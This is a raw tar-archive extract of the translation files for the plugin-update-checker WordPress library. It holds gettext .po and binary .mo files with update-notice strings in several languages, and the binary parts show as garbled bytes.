php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-es_PR.po���������������������������������������������0000644�����������������00000002756�14757771437�0017164 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:15-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-es_VE.po���������������������������������������������0000644�����������������00000002756�14757771437�0017155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 14:57-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-nl_NL.mo���������������������������������������������0000644�����������������00000002273�14757771437�0017145 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��ï��Á�����±��!���Î��4���ð��+���%��;���Q��-�������������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2018-03-25 18:15+0200 PO-Revision-Date: 2018-03-25 18:32+0200 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 1.8.7.1 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Frank Goossens <frank@optimizingmatters.com> Language: nl_NL X-Poedit-SearchPath-0: . �Controleer op nieuwe versies�Er is geen changelog beschikbaar.�Ongekende status bij controle op nieuwe versie: "%s"�Er is een nieuwe versie van %s beschikbaar.�Kon niet bepalen of er nieuwe versie van %s beschikbaar is.�De meest recente %s versie is geïnstalleerd.��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_ES.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017140 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 14:56-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-pt_BR.po���������������������������������������������0000644�����������������00000003032�14757771437�0017146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-05-19 15:41-0300\n" "PO-Revision-Date: 2017-05-19 15:42-0300\n" "Last-Translator: \n" "Language-Team: \n" "Language: pt_BR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.8.8\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n > 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x;_x:1,2c\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p1/Plugin/UpdateChecker.php:358 msgid "Check for updates" msgstr "Verificar Atualizações" #: Puc/v4p1/Plugin/UpdateChecker.php:401 Puc/v4p1/Plugin/UpdateChecker.php:406 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "O plugin %s já está na sua versão mais recente." #: Puc/v4p1/Plugin/UpdateChecker.php:408 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Há uma nova versão para o plugin %s disponível para download." #: Puc/v4p1/Plugin/UpdateChecker.php:410 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Status \"%s\" desconhecido." #: Puc/v4p1/Vcs/PluginUpdateChecker.php:83 msgid "There is no changelog available." msgstr "Não há um changelog disponível." #~ msgid "The %s plugin is up to date." #~ msgstr "O plugin %s já está na sua versão mais recente." #~ msgid "A new version of the %s plugin is available." #~ msgstr "Há uma nova versão para o plugin %s disponível para download." ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-fa_IR.mo���������������������������������������������0000644�����������������00000002150�14757771437�0017115 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������L��� ���|�������¨���*���©������Ô��� ���æ��������"���"��ï��E��D���5��'���z��1���¢��V���Ô��<���+�����������������������������������������A new version of this plugin is available.�Check for updates�There is no changelog available.�This plugin is up to date.�Unknown update checker status "%s"�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2016-02-17 14:21+0100 PO-Revision-Date: 2016-10-28 14:30+0330 Last-Translator: studio RVOLA <hello@rvola.com> Language-Team: Pro Style <info@prostyle.ir> Language: fa_IR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 1.8.8 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n > 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e X-Poedit-SearchPath-0: . �نسخه جدیدی برای اÙزونه ارائه شده است .�بررسی برای بروزرسانی �شرحی برای تغییرات یاÙت نشد�شما از آخرین نسخه استÙاده میکنید . به‌روز باشید�وضعیت ناشناخته برای بروزرسانی "%s"�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-sv_SE.po���������������������������������������������0000644�����������������00000002374�14757771437�0017167 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-05-20 10:53+0300\n" "PO-Revision-Date: 2017-10-16 15:02+0200\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.0.4\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: sv_SE\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p1/Plugin/UpdateChecker.php:358 msgid "Check for updates" msgstr "Sök efter uppdateringar" #: Puc/v4p1/Plugin/UpdateChecker.php:405 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "Tillägget %s är uppdaterat." #: Puc/v4p1/Plugin/UpdateChecker.php:407 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Det finns en ny version av tillägget %s." #: Puc/v4p1/Plugin/UpdateChecker.php:409 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Okänd status för kontroll av uppdatering “%sâ€" #: Puc/v4p1/Vcs/PluginUpdateChecker.php:83 msgid "There is no changelog available." msgstr "Det finns ingen ändringslogg tillgänglig." ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-hu_HU.po���������������������������������������������0000644�����������������00000002277�14757771437�0017162 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2016-01-11 21:23+0100\n" "PO-Revision-Date: 2016-01-11 21:25+0100\n" "Last-Translator: Tamás András Horváth <htomy92@gmail.com>\n" "Language-Team: \n" "Language: hu_HU\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.8.6\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e\n" "X-Poedit-SearchPath-0: .\n" #: github-checker.php:137 msgid "There is no changelog available." msgstr "Nem érhetÅ‘ el a changelog." #: plugin-update-checker.php:852 msgid "Check for updates" msgstr "Frissítés ellenÅ‘rzése" #: plugin-update-checker.php:896 msgid "This plugin is up to date." msgstr "Ez a plugin naprakész." #: plugin-update-checker.php:898 msgid "A new version of this plugin is available." msgstr "Új verzió érhetÅ‘ el a kiegészítÅ‘höz" #: plugin-update-checker.php:900 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Ismeretlen a frissítés ellenÅ‘rzÅ‘ státusza \"%s\"" #~ msgid "Every %d hours" #~ msgstr "Minden %d órában" ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-it_IT.po���������������������������������������������0000644�����������������00000002672�14757771437�0017161 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2020-08-08 14:36+0300\n" "PO-Revision-Date: 2022-05-20 00:17+0200\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 3.0\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: d79\n" "Language: it_IT\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p11/Plugin/Ui.php:128 msgid "Check for updates" msgstr "Verifica aggiornamenti" #: Puc/v4p11/Plugin/Ui.php:213 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "Il plugin %s è aggiornato." #: Puc/v4p11/Plugin/Ui.php:215 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nuova versione del plugin %s è disponibile." #: Puc/v4p11/Plugin/Ui.php:217 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Non è possibile verificare se c'è un aggiornamento disponibile per %s." #: Puc/v4p11/Plugin/Ui.php:223 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Stato di controllo aggiornamenti sconosciuto \"%s\"" #: Puc/v4p11/Vcs/PluginUpdateChecker.php:98 msgid "There is no changelog available." msgstr "Non c'è alcun registro delle modifiche disponibile." ����������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_AR.po���������������������������������������������0000644�����������������00000002756�14757771437�0017145 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:13-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-es_ES.po���������������������������������������������0000644�����������������00000002756�14757771437�0017152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 14:56-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-es_GT.po���������������������������������������������0000644�����������������00000002756�14757771437�0017155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:14-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-uk_UA.mo���������������������������������������������0000644�����������������00000002435�14757771437�0017147 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“����Á��'���Ê��8���ò��H���+��*���t��[���Ÿ��!���û����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2020-08-08 14:36+0300 PO-Revision-Date: 2021-12-20 17:55+0200 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.2 X-Poedit-Basepath: .. Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: uk_UA X-Poedit-SearchPath-0: . �Перевірити оновленнÑ�Ðемає доÑтупного журналу змін.�Ðевідомий ÑÑ‚Ð°Ñ‚ÑƒÑ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ оновлень "%s"�Ðова верÑÑ–Ñ %s доÑтупна.�Ðе вдалоÑÑ Ð²Ð¸Ð·Ð½Ð°Ñ‡Ð¸Ñ‚Ð¸, чи доÑтупні Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ %s.�Плагін %s оновлено.������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_CR.po���������������������������������������������0000644�����������������00000002756�14757771437�0017147 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:14-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-fr_FR.mo���������������������������������������������0000644�����������������00000002052�14757771437�0017134 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������L��� ���|�������¨������©��� ���»���"���Ü���=���ÿ���-���=��ð��k�����\��4���x��%���­��8���Ó����� �����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2017-07-07 14:53+0200 PO-Revision-Date: 2017-07-07 14:54+0200 Language-Team: studio RVOLA <http://www.rvola.com> Language: fr_FR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.0.2 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n > 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Nicolas GEHIN X-Poedit-SearchPath-0: . �Vérifier les mises à jour�Il n’y a aucun journal de mise à jour disponible.�Un problème inconnu est survenu "%s"�Une nouvelle version de l’extension %s est disponible.�L’extension %s est à jour.���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_AR.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017133 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:13-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-fr_FR.po���������������������������������������������0000644�����������������00000002472�14757771437�0017145 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-07-07 14:53+0200\n" "PO-Revision-Date: 2017-07-07 14:54+0200\n" "Language-Team: studio RVOLA <http://www.rvola.com>\n" "Language: fr_FR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.0.2\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n > 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: Nicolas GEHIN\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p1/Plugin/UpdateChecker.php:358 msgid "Check for updates" msgstr "Vérifier les mises à jour" #: Puc/v4p1/Plugin/UpdateChecker.php:405 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "L’extension %s est à jour." #: Puc/v4p1/Plugin/UpdateChecker.php:407 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Une nouvelle version de l’extension %s est disponible." #: Puc/v4p1/Plugin/UpdateChecker.php:409 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Un problème inconnu est survenu \"%s\"" #: Puc/v4p1/Vcs/PluginUpdateChecker.php:85 msgid "There is no changelog available." msgstr "Il n’y a aucun journal de mise à jour disponible." ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-de_DE.mo���������������������������������������������0000644�����������������00000001724�14757771437�0017103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������L��� ���|�������¨���*���©������Ô��� ���æ��������"���"��Ø��E��4��������S��6���f����������µ�����������������������������������������A new version of this plugin is available.�Check for updates�There is no changelog available.�This plugin is up to date.�Unknown update checker status "%s"�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2016-06-29 20:21+0100 PO-Revision-Date: 2016-06-29 21:45+0100 Last-Translator: Igor Lückel <info@igorlueckel.de> Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 1.8.1 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e Language: de_DE X-Poedit-SearchPath-0: . �Es ist eine neue Version für das Plugin verfügbar.�Nach Update suchen�Es ist keine Liste von Programmänderungen verfügbar.�Das Plugin ist aktuell.�Unbekannter Update Status "%s"���������������������������������������������update-checker/languages/plugin-update-checker-nl_NL.po���������������������������������������������0000644�����������������00000003016�14757771437�0017144 